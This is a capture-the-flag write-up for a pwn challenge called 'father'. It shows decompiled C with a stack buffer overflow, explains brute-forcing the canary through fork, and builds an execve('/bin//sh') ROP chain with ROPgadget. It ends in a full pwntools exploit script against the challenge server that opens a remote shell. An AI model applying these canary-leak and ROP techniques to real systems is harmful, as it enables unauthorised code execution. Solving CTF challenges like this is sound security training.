---
# System prepended metadata

title: father
tags: [The attack and defense of computers]

---

### Source code(from IDA)
```cpp
int __fastcall main(int argc, const char *argv, const char *envp)
{
  int v3; // edx
  int v4; // ecx
  int v5; // r8d
  int v6; // r9d
  int v7; // edx
  int v8; // ecx
  int v9; // r8d
  int v10; // r9d
  int v11; // eax
  int v12; // edx
  int v13; // ecx
  int v14; // r8d
  int v15; // r9d
  char v17; // [rsp+0h] [rbp-30h]
  int v18; // [rsp+4h] [rbp-2Ch] BYREF
  int v19; // [rsp+8h] [rbp-28h]
  int v20; // [rsp+Ch] [rbp-24h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  __int64 v22; // [rsp+18h] [rbp-18h]
  unsigned __int64 v23; // [rsp+28h] [rbp-8h]

  v23 = __readfsqword(0x28u);
  (_QWORD )buf = 0LL;
  v22 = 0LL;
  v19 = 0;
  init_0(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      banner();
      _isoc99_scanf((unsigned int)"%d", (unsigned int)&v18, v3, v4, v5, v6, v17);
      if ( v18 != 1 )
        break;
      v20 = fork();
      ++v19;
      if ( v20 == -1 )
      {
        perror("fork");
        exit(1LL);
      }
      if ( !v20 )
      {
        v11 = getpid();
        printf((unsigned int)"I'm child, my id is %d\n", v11, v12, v13, v14, v15, v17);
        puts("Say something to your father");
        read(0, buf, 0x100uLL);
        return 0;
      }
      wait(0LL);
    }
    if ( v18 != 2 )
      break;
    printf((unsigned int)"we create %d children !!!\n", v19, v7, v8, v9, v10, v17);
  }
  puts("Please help me find my children !!!!!");
  read(0, buf, 0x100uLL);
  return 0;
}
```
### Tools
1. [ROPGadget](https://github.com/JonathanSalwan/ROPgadget)


### Solution
![擷取!](https://hackmd.io/_uploads/HJc4mal4p.png)
After executing `checksec` under gef, we notice there is a canary. **To ensure the success of the attack, the first step is to deduce the canary word**.

The key to solving this problem is to repeatedly generate new processes through fork, attempting to [brute-force the canary value](https://introspelliam.github.io/2017/09/23/pwn/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/) and printing the result.

Another key point in solving this problem is to use Return-Oriented Programming (ROP) to execute *execve("/usr/bin")*. Utilizing the ROPgadget tool, after installation, execute the command: ` ROPgadget --binary ./father --ropchain`. The steps to execute the shellcode through ROP will be displayed at the bottom:
```
#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x00000000004005cf) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006c6) # pop rdi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x000000000044c2a6) # pop rdx ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004013ec) # syscall
```

However, if all instructions are included in the payload, the length might exceed the limit and overwrite memory positions that shouldn't be overwritten. Therefore, the lengthy sequence of *inc eax; ret* in the middle should be replaced with a more concise approach.

Because *inc eax; ret* increments eax by 1 and then returns, and this sequence is executed a total of 59 times in this ROP, we can achieve the same effect by using *pop rax; ret* and then adding 59 to the value in rax.

To find the machine code of *pop rax; ret* ,using ROPgadget command:
`ROPgadget --binary ./father --only "pop|ret" |grep "pop rax"`

![擷取2](https://hackmd.io/_uploads/rym0taeNp.png)

The instruction at *0x4005cf* is exactly the instruction we're finding, so we replace the code with:

```
p = b''
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x00000000004005cf) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006c6) # pop rdi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x000000000044c2a6) # pop rdx ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004005cf) # pop rax; ret
p += pack('<Q', 0x000000000000003b) # @ .data + 8
p += pack('<Q', 0x00000000004013ec) # syscall
```

#### Stack layout
![螢幕擷取畫面 2023-11-14 205432](https://hackmd.io/_uploads/B1eXCyZNT.png)



#### Final solution
```python
from pwn import *
from struct import pack

r = remote("ctf.adl.tw",10011)

# print('success getting canary: ',canary.encode())

p = b''
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x00000000004005cf) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006c6) # pop rdi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x000000000044c2a6) # pop rdx ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004005cf) # pop rax; ret
p += pack('<Q', 0x000000000000003b) # @ .data + 8
p += pack('<Q', 0x00000000004013ec) # syscall

# p.sendline(b"1")
# p.recvuntil(b"Say something to your father")
# print('pass1')
canary = '\x00'
r.recvuntil(b'out')
for j in range(7):
    for i in range(0x100):
        r.sendline(b'1')
        r.recvuntil(b'father')
        r.send('a'*24 + canary + chr(i))
        a = r.recvuntil(b'out')
        #print('current i', i)
        #print('the received a:', a)
        if b'smashing' not in a:
            canary += chr(i)
            print(hex(i))
            break
r.send(b'1\n')
p_final = flat('a'*24, canary, 'a'*8, p)
r.sendafter(b'father', p_final)
r.interactive()
```